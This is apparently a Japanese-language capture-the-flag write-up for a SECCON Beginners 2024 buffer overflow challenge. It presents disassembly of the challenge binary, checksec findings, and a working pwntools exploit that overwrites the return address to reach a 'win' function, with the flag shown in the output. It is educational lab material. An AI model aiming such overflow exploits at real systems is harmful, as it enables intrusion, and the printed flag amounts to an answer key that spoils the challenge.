36: 00000000004010d0 5 FUNC GLOBAL HIDDEN 14 _dl_relocate_sta[...]
37: 00000000004010a0 38 FUNC GLOBAL DEFAULT 14 _start
38: 0000000000404050 0 NOTYPE GLOBAL DEFAULT 25 __bss_start
39: 00000000004011cf 132 FUNC GLOBAL DEFAULT 14 main
40: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setvbuf@GLIBC_2.2.5
41: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5
42: 0000000000404048 0 OBJECT GLOBAL HIDDEN 24 __TMC_END__
43: 0000000000401000 0 FUNC GLOBAL HIDDEN 12 _init
Histogram for `.gnu.hash' bucket list length (total of 2 buckets):
Length Number % of total Coverage
0 0 ( 0.0%)
1 2 (100.0%) 100.0%
Version symbols section '.gnu.version' contains 12 entries:
Addr: 0x0000000000400564 Offset: 0x00000564 Link: 6 (.dynsym)
000: 0 (*local*) 2 (GLIBC_2.34) 3 (GLIBC_2.2.5) 3 (GLIBC_2.2.5)
004: 3 (GLIBC_2.2.5) 3 (GLIBC_2.2.5) 3 (GLIBC_2.2.5) 1 (*global*)
008: 3 (GLIBC_2.2.5) 3 (GLIBC_2.2.5) 3 (GLIBC_2.2.5) 3 (GLIBC_2.2.5)
Version needs section '.gnu.version_r' contains 1 entry:
Addr: 0x0000000000400580 Offset: 0x00000580 Link: 7 (.dynstr)
000000: Version: 1 File: libc.so.6 Cnt: 2
0x0010: Name: GLIBC_2.2.5 Flags: none Version: 3
0x0020: Name: GLIBC_2.34 Flags: none Version: 2
Displaying notes found in: .note.gnu.property
Owner Data size Description
GNU 0x00000010 NT_GNU_PROPERTY_TYPE_0
Properties: x86 ISA needed: x86-64-baseline
Displaying notes found in: .note.gnu.build-id
Owner Data size Description
GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring)
Build ID: 275410f599d2a70ee1160130ddf95968e4fd690f
Displaying notes found in: .note.ABI-tag
Owner Data size Description
GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag)
OS: Linux, ABI: 3.2.0
./chall: file format elf64-x86-64
Disassembly of section .text:
00000000004010a0 <_start>:
4010a0: f3 0f 1e fa endbr64
4010a4: 31 ed xor ebp,ebp
4010a6: 49 89 d1 mov r9,rdx
4010a9: 5e pop rsi
4010aa: 48 89 e2 mov rdx,rsp
4010ad: 48 83 e4 f0 and rsp,0xfffffffffffffff0
4010b1: 50 push rax
4010b2: 54 push rsp
4010b3: 45 31 c0 xor r8d,r8d
4010b6: 31 c9 xor ecx,ecx
4010b8: 48 c7 c7 cf 11 40 00 mov rdi,0x4011cf
4010bf: ff 15 13 2f 00 00 call QWORD PTR [rip+0x2f13] # 403fd8 <__libc_start_main@GLIBC_2.34>
4010c5: f4 hlt
4010c6: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
4010cd: 00 00 00
00000000004010d0 <_dl_relocate_static_pie>:
4010d0: f3 0f 1e fa endbr64
4010d4: c3 ret
4010d5: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
4010dc: 00 00 00
4010df: 90 nop
00000000004010e0 <deregister_tm_clones>:
4010e0: b8 48 40 40 00 mov eax,0x404048
4010e5: 48 3d 48 40 40 00 cmp rax,0x404048
4010eb: 74 13 je 401100 <deregister_tm_clones+0x20>
4010ed: b8 00 00 00 00 mov eax,0x0
4010f2: 48 85 c0 test rax,rax
4010f5: 74 09 je 401100 <deregister_tm_clones+0x20>
4010f7: bf 48 40 40 00 mov edi,0x404048
4010fc: ff e0 jmp rax
4010fe: 66 90 xchg ax,ax
401100: c3 ret
401101: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
401108: 00 00 00 00
40110c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000401110 <register_tm_clones>:
401110: be 48 40 40 00 mov esi,0x404048
401115: 48 81 ee 48 40 40 00 sub rsi,0x404048
40111c: 48 89 f0 mov rax,rsi
40111f: 48 c1 ee 3f shr rsi,0x3f
401123: 48 c1 f8 03 sar rax,0x3
401127: 48 01 c6 add rsi,rax
40112a: 48 d1 fe sar rsi,1
40112d: 74 11 je 401140 <register_tm_clones+0x30>
40112f: b8 00 00 00 00 mov eax,0x0
401134: 48 85 c0 test rax,rax
401137: 74 07 je 401140 <register_tm_clones+0x30>
401139: bf 48 40 40 00 mov edi,0x404048
40113e: ff e0 jmp rax
401140: c3 ret
401141: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
401148: 00 00 00 00
40114c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000401150 <__do_global_dtors_aux>:
401150: f3 0f 1e fa endbr64
401154: 80 3d 0d 2f 00 00 00 cmp BYTE PTR [rip+0x2f0d],0x0 # 404068 <completed.0>
40115b: 75 13 jne 401170 <__do_global_dtors_aux+0x20>
40115d: 55 push rbp
40115e: 48 89 e5 mov rbp,rsp
401161: e8 7a ff ff ff call 4010e0 <deregister_tm_clones>
401166: c6 05 fb 2e 00 00 01 mov BYTE PTR [rip+0x2efb],0x1 # 404068 <completed.0>
40116d: 5d pop rbp
40116e: c3 ret
40116f: 90 nop
401170: c3 ret
401171: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
401178: 00 00 00 00
40117c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000401180 <frame_dummy>:
401180: f3 0f 1e fa endbr64
401184: eb 8a jmp 401110 <register_tm_clones>
0000000000401186 <win>:
401186: 55 push rbp
401187: 48 89 e5 mov rbp,rsp
40118a: 48 83 ec 70 sub rsp,0x70
40118e: 48 8d 05 6f 0e 00 00 lea rax,[rip+0xe6f] # 402004 <_IO_stdin_used+0x4>
401195: 48 89 c6 mov rsi,rax
401198: 48 8d 05 67 0e 00 00 lea rax,[rip+0xe67] # 402006 <_IO_stdin_used+0x6>
40119f: 48 89 c7 mov rdi,rax
4011a2: e8 e9 fe ff ff call 401090 <fopen@plt>
4011a7: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
4011ab: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
4011af: 48 8d 45 90 lea rax,[rbp-0x70]
4011b3: be 64 00 00 00 mov esi,0x64
4011b8: 48 89 c7 mov rdi,rax
4011bb: e8 b0 fe ff ff call 401070 <fgets@plt>
4011c0: 48 8d 45 90 lea rax,[rbp-0x70]
4011c4: 48 89 c7 mov rdi,rax
4011c7: e8 64 fe ff ff call 401030 <puts@plt>
4011cc: 90 nop
4011cd: c9 leave
4011ce: c3 ret
00000000004011cf <main>:
4011cf: 55 push rbp
4011d0: 48 89 e5 mov rbp,rsp
4011d3: 48 83 ec 10 sub rsp,0x10
4011d7: 48 c7 45 f6 00 00 00 mov QWORD PTR [rbp-0xa],0x0
4011de: 00
4011df: 66 c7 45 fe 00 00 mov WORD PTR [rbp-0x2],0x0
4011e5: 48 8d 05 25 0e 00 00 lea rax,[rip+0xe25] # 402011 <_IO_stdin_used+0x11>
4011ec: 48 89 c7 mov rdi,rax
4011ef: b8 00 00 00 00 mov eax,0x0
4011f4: e8 47 fe ff ff call 401040 <printf@plt>
4011f9: 48 8d 45 f6 lea rax,[rbp-0xa]
4011fd: ba 20 00 00 00 mov edx,0x20
401202: 48 89 c6 mov rsi,rax
401205: bf 00 00 00 00 mov edi,0x0
40120a: e8 51 fe ff ff call 401060 <read@plt>
40120f: 48 8d 45 f6 lea rax,[rbp-0xa]
401213: 48 89 c6 mov rsi,rax
401216: 48 8d 05 fb 0d 00 00 lea rax,[rip+0xdfb] # 402018 <_IO_stdin_used+0x18>
40121d: 48 89 c7 mov rdi,rax
401220: b8 00 00 00 00 mov eax,0x0
401225: e8 16 fe ff ff call 401040 <printf@plt>
40122a: 48 8d 45 f6 lea rax,[rbp-0xa]
40122e: 48 83 c0 12 add rax,0x12
401232: 48 8b 00 mov rax,QWORD PTR [rax]
401235: 48 89 c6 mov rsi,rax
401238: 48 8d 05 e4 0d 00 00 lea rax,[rip+0xde4] # 402023 <_IO_stdin_used+0x23>
40123f: 48 89 c7 mov rdi,rax
401242: b8 00 00 00 00 mov eax,0x0
401247: e8 f4 fd ff ff call 401040 <printf@plt>
40124c: b8 00 00 00 00 mov eax,0x0
401251: c9 leave
401252: c3 ret
0000000000401253 <init>:
401253: 55 push rbp
401254: 48 89 e5 mov rbp,rsp
401257: 48 8b 05 02 2e 00 00 mov rax,QWORD PTR [rip+0x2e02] # 404060 <stdin@GLIBC_2.2.5>
40125e: b9 00 00 00 00 mov ecx,0x0
401263: ba 02 00 00 00 mov edx,0x2
401268: be 00 00 00 00 mov esi,0x0
40126d: 48 89 c7 mov rdi,rax
401270: e8 0b fe ff ff call 401080 <setvbuf@plt>
401275: 48 8b 05 d4 2d 00 00 mov rax,QWORD PTR [rip+0x2dd4] # 404050 <stdout@GLIBC_2.2.5>
40127c: b9 00 00 00 00 mov ecx,0x0
401281: ba 02 00 00 00 mov edx,0x2
401286: be 00 00 00 00 mov esi,0x0
40128b: 48 89 c7 mov rdi,rax
40128e: e8 ed fd ff ff call 401080 <setvbuf@plt>
401293: bf 78 00 00 00 mov edi,0x78
401298: e8 b3 fd ff ff call 401050 <alarm@plt>
40129d: 90 nop
40129e: 5d pop rbp
40129f: c3 ret
バイナリ chall
の方には、フラッグを出力する関数 win
が実装されているようです。何とかバッファオーバーフローさせた上で、リターンアドレスを 0000000000401186 <win>
あたりに上書きすればフラッグを得られそうです。
また、この攻撃が出来る条件の確認として、バイナリ chall
のセキュリティ機構を確認するというのもあるそうです。
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=275410f599d2a70ee1160130ddf95968e4fd690f, for GNU/Linux 3.2.0, not stripped
$ checksec --file=chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 44 Symbols No 0 3 chall
-
Partial RELRO
: GOT (Global Offset Table)領域が書き換え可能 (GOT overwrite攻撃可能) な状態 (今回は関係ありませんが) -
No canary found
: 「リターンアドレスの前にCanary
をいう値を置き、そこが書き換えられていたら例外を送出することで、バッファオーバーフロー攻撃によるリターンアドレスの書き換えを困難化させる状態」が無効化されている -
No PIE
: 「PIE (Position-Independent Executables) 実行コード内アドレス参照を全て相対アドレスで行い、メモリ上の配置をランダムにしても実行できる状態(特定アドレスを突く攻撃の困難化)」が無効化されている
さて入力する文字列はどうしよう、と思いましたが、以下のような方法で行けるとの事でした。
$ echo -e "ABCDEFGHIJKLMNOPQR\x87\x11\x40\x00\x00\x00\x00\x00\x0a" | ./chall
input:Hello, ABCDEFGHIJKLMNOPQR�@
return to: 0x401187
Segmentation fault (core dumped)
pwntools のインストール:
python3 -m pip install --upgrade pwntools
ArchLinux 環境への pwntools のインストール:
sudo pacman -S extra/python-pwntools
from pwn import *
context.log_level = 'DEBUG'
proc = remote('simpleoverwrite.beginners.seccon.games', 9001)
proc.recv(100)
payload = b'A'*18
payload += p64(0x401187)
payload += b'\n'
proc.send(payload)
proc.recv(1000)
proc.interactive()
$ python pwnable_simpleoverwrite.py
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[DEBUG] Received 0x6 bytes:
b'input:'
[DEBUG] Sent 0x1b bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 87 11 40 00 00 00 00 00 0a │AA··│@···│···│
0000001b
[DEBUG] Received 0x47 bytes:
00000000 48 65 6c 6c 6f 2c 20 41 41 41 41 41 41 41 41 41 │Hell│o, A│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 87 11 40 0a 72 65 74 │AAAA│AAAA│A··@│·ret│
00000020 75 72 6e 20 74 6f 3a 20 30 78 34 30 31 31 38 37 │urn │to: │0x40│1187│
00000030 0a 63 74 66 34 62 7b 42 33 6c 31 33 76 33 5f 34 │·ctf│4b{B│3l13│v3_4│
00000040 67 34 31 6e 7d 0a 0a │g41n│}··│
00000047
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
ctf4b{B3l13v3_4g41n}
今年(CTF4b 2024)のチームメンバーの writeup / 感想とか
他にチームメンバーのwriteupなどが公開されたら後ほど追記します。
昨年(CTF4b 2023)のチームメンバーの writeup とか
昨年参加時のwriteupは自分は書いていませんでしたが、チームメンバーの記事を挙げておきます。
Discussion